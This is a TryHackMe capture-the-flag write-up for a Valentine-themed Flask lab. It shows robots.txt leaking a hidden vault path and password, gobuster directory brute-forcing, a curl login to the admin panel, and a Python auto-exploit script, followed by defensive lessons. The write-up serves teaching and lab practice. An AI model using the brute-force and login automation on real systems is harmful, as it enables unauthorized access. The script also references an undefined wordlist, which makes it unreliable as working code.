CTF Writeup

Hidden Deep Into My Heart

TryHackMe · Web Exploitation · Easy · by 0xb0rn3

Platform TryHackMe Category Web Exploitation Difficulty Easy Target 10.49.169.158:5000 Stack Flask / Werkzeug 3.1.5 / Python 3.10 Flag THM{l0v3_is_in_th3_r0b0ts_txt}
0
Context

Overview

A Valentine's Day themed web application called "Love Letters Anonymous" running on a Flask backend. Intelligence hints that "Cupid may have unintentionally left vulnerabilities in the system." The objective: breach the secret vault and retrieve the hidden flag.

The attack chain is straightforward — robots.txt information disclosure leads to a hidden vault path and a leaked password. Directory brute-forcing reveals an admin panel. Credential stuffing completes the kill chain.

1
Enumeration

Initial Recon — robots.txt

The first step in any web assessment is checking robots.txt. This file is meant to instruct crawlers which paths to skip — but it also reveals hidden paths to attackers.

HTTP Request
GET http://10.49.169.158:5000/robots.txt
User-agent: *
Disallow: /cupids_secret_vault/*

# cupid_arrow_2026!!!

Two critical pieces of information immediately exposed:

1. Hidden path: /cupids_secret_vault/ — a secret directory not linked from the main application.
2. Plaintext password: cupid_arrow_2026!!! — left in a comment by the developer ("Cupid").

This is a credential leak via robots.txt — a severe misconfiguration. The file is public, unauthenticated, and indexed by every crawler on the internet.

2
Enumeration

Navigating the Vault

With the hidden path in hand, the vault landing page was accessed directly. The page hinted that there was more to discover beyond the landing itself.

HTTP Request
GET http://10.49.169.158:5000/cupids_secret_vault/
3
Enumeration

Directory Brute-Force

To find sub-paths beneath /cupids_secret_vault/, Gobuster was deployed with SecLists' big.txt wordlist:

Bash
gobuster dir \
  -u http://10.49.169.158:5000/cupids_secret_vault/ \
  -w /usr/share/seclists/Discovery/Web-Content/big.txt \
  -t 20
/administrator   (Status: 200) [Size: 2381]

An admin login panel discovered at /cupids_secret_vault/administrator — hidden via security through obscurity and not linked anywhere in the application.

4
Exploitation

Admin Login — Credential Stuffing

The admin panel presented a standard login form. Using the credentials leaked in robots.txt:

Username admin Password cupid_arrow_2026!!!
Bash
curl -s -X POST http://10.49.169.158:5000/cupids_secret_vault/administrator \
  --data-urlencode "username=admin" \
  --data-urlencode "password=cupid_arrow_2026!!!"

The admin dashboard returned containing the flag.

 Flag Captured
THM{l0v3_is_in_th3_r0b0ts_txt}
Summary

Attack Chain

1
robots.txt Information Disclosure
Leaked path /cupids_secret_vault/* and password cupid_arrow_2026!!!
2
Vault Landing Page
Accessed /cupids_secret_vault/ — confirmed hidden directory exists
3
Directory Brute-Force (Gobuster)
Discovered /cupids_secret_vault/administrator via big.txt wordlist
Credential Stuffing → Flag
POST admin:cupid_arrow_2026!!! → Admin Dashboard → THM{l0v3_is_in_th3_r0b0ts_txt}
Assessment

Vulnerabilities

# Vulnerability Severity Location
1 Credentials in robots.txt Critical /robots.txt
2 Hidden admin panel (security through obscurity) High /cupids_secret_vault/administrator
3 No brute-force protection on login Medium /cupids_secret_vault/administrator
4 Framework/version disclosure Low All responses — Werkzeug/3.1.5 Python/3.10.12
5 Werkzeug console endpoint exposed Low /console — returns 400 not 404
Automation

Auto-Exploit Script

View on GitHub

Full automation of the attack chain in Python — fetches robots.txt, extracts the leaked path and password, brute-forces subdirectories, POSTs credentials, and captures the flag. Accepts custom targets, wordlists, and usernames via CLI args.

Python 3 — exploit.py
#!/usr/bin/env python3
"""
Hidden Deep Into my Heart — CTF Auto-Exploit
TryHackMe | by 0xb0rn3

Attack chain:
  1. Fetch /robots.txt  -> extract hidden path + leaked password
  2. Brute-force subdirs under the vault path via wordlist
  3. POST credentials to the admin panel
  4. Extract and print the flag
"""

import re, sys, argparse, requests
from urllib.parse import urljoin

def fetch_robots(session, base_url):
    """Fetch robots.txt — extract disallowed paths + secrets."""
    url = urljoin(base_url, "/robots.txt")
    r = session.get(url, timeout=10)
    disallowed = re.findall(r"(?i)^Disallow:\s*(.+)$", r.text, re.MULTILINE)
    comments = re.findall(r"#\s*(.+)", r.text)
    return disallowed, comments

def bruteforce_path(session, base_url, vault_path, wordlist=None):
    """Brute-force sub-paths; return first 200 hit."""
    target = urljoin(base_url, vault_path + "/")
    words = FALLBACK_WORDLIST
    for word in words:
        url = urljoin(target, word)
        r = session.get(url, timeout=8)
        if r.status_code == 200:
            return url
    return None

def login_and_get_flag(session, admin_url, username, password):
    """POST credentials — extract flag via regex."""
    payload = {"username": username, "password": password}
    r = session.post(admin_url, data=payload, timeout=10)
    flag = re.search(r"((?:THM|FLAG|CTF|HTB)\{[^}]+\})", r.text)
    return flag.group(1) if flag else None
Usage
# Default target
python3 exploit.py

# Custom target + wordlist
python3 exploit.py http://TARGET:5000 -w /usr/share/seclists/Discovery/Web-Content/big.txt

# Output:
[+] Disallowed paths found: ['/cupids_secret_vault']
[+] Leaked password candidate: cupid_arrow_2026!!!
[+] Found: .../cupids_secret_vault/administrator
=======================================================
  FLAG CAPTURED: THM{l0v3_is_in_th3_r0b0ts_txt}
=======================================================
Defense

Lessons & Takeaways

Never put secrets in robots.txt. It is a public, unauthenticated file. Comments are visible to everyone.

Obscurity is not security. Hidden paths without auth are trivially discovered with directory brute-forcing.

Protect admin panels with rate limiting, CAPTCHA, MFA, and ideally IP allowlisting.

Remove debug endpoints like Werkzeug's /console and sanitize Server headers before deploying.

Arsenal

Tools Used

ToolPurpose
curlHTTP requests, login form submission
gobusterDirectory brute-force enumeration
SecLists big.txtWordlist for directory discovery
exploit.pyFull-chain automated exploit (Python 3)